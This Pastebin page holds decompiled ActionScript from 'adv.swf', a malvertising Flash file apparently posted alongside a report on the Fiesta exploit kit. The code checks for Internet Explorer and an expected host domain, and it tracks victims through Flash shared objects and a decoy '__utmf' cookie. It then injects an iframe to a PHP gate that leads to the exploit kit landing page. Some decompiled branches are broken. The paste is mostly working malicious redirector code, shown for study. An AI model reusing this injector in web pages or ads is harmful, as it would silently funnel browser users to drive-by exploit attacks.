Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # adv.swf to Fiesta EK Landing
- # http://stopmalvertising.com/malware-reports/fiesta-ek-on-asus-rog-forums-targets-internet-explorer-users.html
- package {
- import flash.net.*;
- import flash.display.*;
- import flash.external.*;
- import flash.utils.*;
- import flash.events.*;
- public dynamic class Main extends MovieClip {
- private static const SQUARE_BRACKET_LEFT:String = "]";
- private static const SQUARE_BRACKET_RIGHT:String = "[";
- private static const SQUARE_BRACKET_LEFT_ENCODED:String = encodeURIComponent("]");
- private static const SQUARE_BRACKET_RIGHT_ENCODED:String = encodeURIComponent("[");
- private var mySo:SharedObject;
- private var debug:Boolean = true;
- public function Main():void{
- var _local2 = null;
- var _local5 = null;
- var _local4 = null;
- var _local1 = null;
- var _local3 = null;
- mySo = SharedObject.getLocal("counterswfcookie", "/");
- super();
- if (ExternalInterface.available){
- _local2 = ExternalInterface.call("function(){ return window.navigator.userAgent; }");
- _local5 = root.loaderInfo.loaderURL;
- _local4 = getServerName(root.loaderInfo.loaderURL);
- log("useragent", _local2);
- log("swfdom", _local4);
- if ((((((_local2.indexOf("Trident") === -1)) && ((_local2.indexOf("MSIE") === -1)))) && (!(debug)))){
- return;
- };
- if ((((_local4.indexOf("nidora.asia") === -1)) && (!(debug)))){
- return;
- };
- _local1 = gc("__utmf");
- log("cookie", _local1);
- if (((!(saveValue())) || ((_local1 == "bar")))){
- if (_local1 !== "bar"){
- createCookie("__utmf", "bar", 2);
- };
- return;
- };
- _local3 = _local5.split(".swf").join(".php");
- log("gateUrl", _local3);
- createIframe(_local3);
- };
- }
- private function saveValue():Boolean{
- var _local1:Date = new Date();
- if (((!((mySo.data.mycookie === undefined))) || (((_local1.getTime() - mySo.data.mycookie) < 172800000)))){
- log("savedata", "false");
- return (false);
- };
- mySo.data.mycookie = _local1.getTime();
- var _local2:String;
- try {
- _local2 = mySo.flush(10000);
- } catch(error:Error) {
- };
- if (_local2 != null){
- var _local5 = _local2;
- while ("pending" === _local5) {
- mySo.addEventListener("netStatus", onFlushStatus);
- //unresolved jump
- //unresolved jump
- };
- //unresolved if
- };
- return (true);
- }
- private function onFlushStatus(event:NetStatusEvent):void{
- var _local2 = event.info.code;
- while ("SharedObject.Flush.Success" === _local2) {
- //unresolved jump
- //unresolved jump
- };
- //unresolved if
- mySo.removeEventListener("netStatus", onFlushStatus);
- }
- public function createCookie(name:String, value:String, days:int=0):void{
- var _local4:String = (((((((((((((("function createCookie(){var expires = '';if (" + days) + " > 0){") + "var date = new Date();") + "date.setTime(date.getTime()+(") + days) + "*24*60*60*1000));") + "expires = 'expires = ' + date.toGMTString();") + "}") + "document.cookie = '") + name) + "=") + value) + "; expires=' + expires + '; path=/';") + "}");
- ExternalInterface.call(_local4);
- }
- public function gc(cookieName:String):String{
- var _local6:int;
- var _local7:int;
- var _local3:String = "";
- var _local2:String = (cookieName + "=");
- var _local5:String = "function getCookie(){return document.cookie;}";
- var _local4:String = ExternalInterface.call(_local5).toString();
- if (_local4.length > 0){
- _local6 = _local4.indexOf(_local2);
- if (_local6 != -1){
- _local6 = (_local6 + _local2.length);
- _local7 = _local4.indexOf(";", _local6);
- if (_local7 == -1){
- _local7 = _local4.length;
- };
- _local3 = unescape(_local4.substring(_local6, _local7));
- };
- };
- return (_local3);
- }
- public function createIframe(url:String):void{
- var _local3:String = "iframe";
- var _local2:String = (((("function(){var i = document.createElement('" + _local3) + "'); i.setAttribute('src', '") + url) + "');document.body.appendChild(i)}");
- ExternalInterface.call(_local2);
- }
- private function long2ip(ip):String{
- if (!isFinite(ip)){
- return ("");
- };
- return ([(ip >>> 24), ((ip >>> 16) & 0xFF), ((ip >>> 8) & 0xFF), (ip & 0xFF)].join("."));
- }
- private function log(msg, param=""):void{
- if (!debug){
- return;
- };
- ExternalInterface.call("console.log", ((msg + ": ") + param));
- }
- public function getServerName(url:String):String{
- var _local2:String = getServerNameWithPort(url);
- var _local3:int = indexOfLeftSquareBracket(_local2);
- _local3 = ((_local3)>-1) ? _local2.indexOf(":", _local3) : _local2.indexOf(":");
- if (_local3 > 0){
- _local2 = _local2.substring(0, _local3);
- };
- return (_local2);
- }
- private function indexOfLeftSquareBracket(value:String):int{
- var _local2:int = value.indexOf("]");
- if (_local2 == -1){
- _local2 = value.indexOf(SQUARE_BRACKET_LEFT_ENCODED);
- };
- return (_local2);
- }
- public function getServerNameWithPort(url:String):String{
- var _local2:int = (url.indexOf("/") + 2);
- var _local3:int = url.indexOf("/", _local2);
- return (((_local3)==-1) ? url.substring(_local2) : url.substring(_local2, _local3));
- }
- }
- }//package
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement